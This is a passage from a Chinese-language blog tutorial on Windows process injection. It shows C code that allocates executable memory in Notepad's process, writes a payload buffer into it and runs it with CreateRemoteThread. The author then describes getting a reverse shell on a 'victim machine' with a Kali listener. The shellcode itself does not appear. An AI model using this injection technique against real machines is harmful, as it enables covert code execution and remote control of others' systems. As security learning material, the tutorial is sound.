    remoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof buf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, remoteBuffer, buf, sizeof buf, NULL);
    remoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    CloseHandle(hProcess);
    // 清理
    CloseHandle(hProcessSnap);
    return 0;
}

受害机器上打开记事本,然后Kali系统上开启监听。在运行代码前,我们先用Process Explorer查看一下记事本到TCP连接,如下图:

接着运行代码,效果如下:

可以看到拿到shell了,再用Process Explorer看一下发现子进程多了个cmd.exe,而且也有了tcp连接。

0x04 参考

学这玩意,还是官方文档最管用:https://docs.microsoft.com/zh-cn/windows/win32/api/

https://www.ired.team/offensive-security/code-injection-process-injection/process-injection

https://mp.weixin.qq.com/s/3hQP09l36ssrV5tzpzwcVA

最后修改:2021 年 02 月 25 日 10 : 55 PM
如果觉得我的文章对你有用,请随意赞赏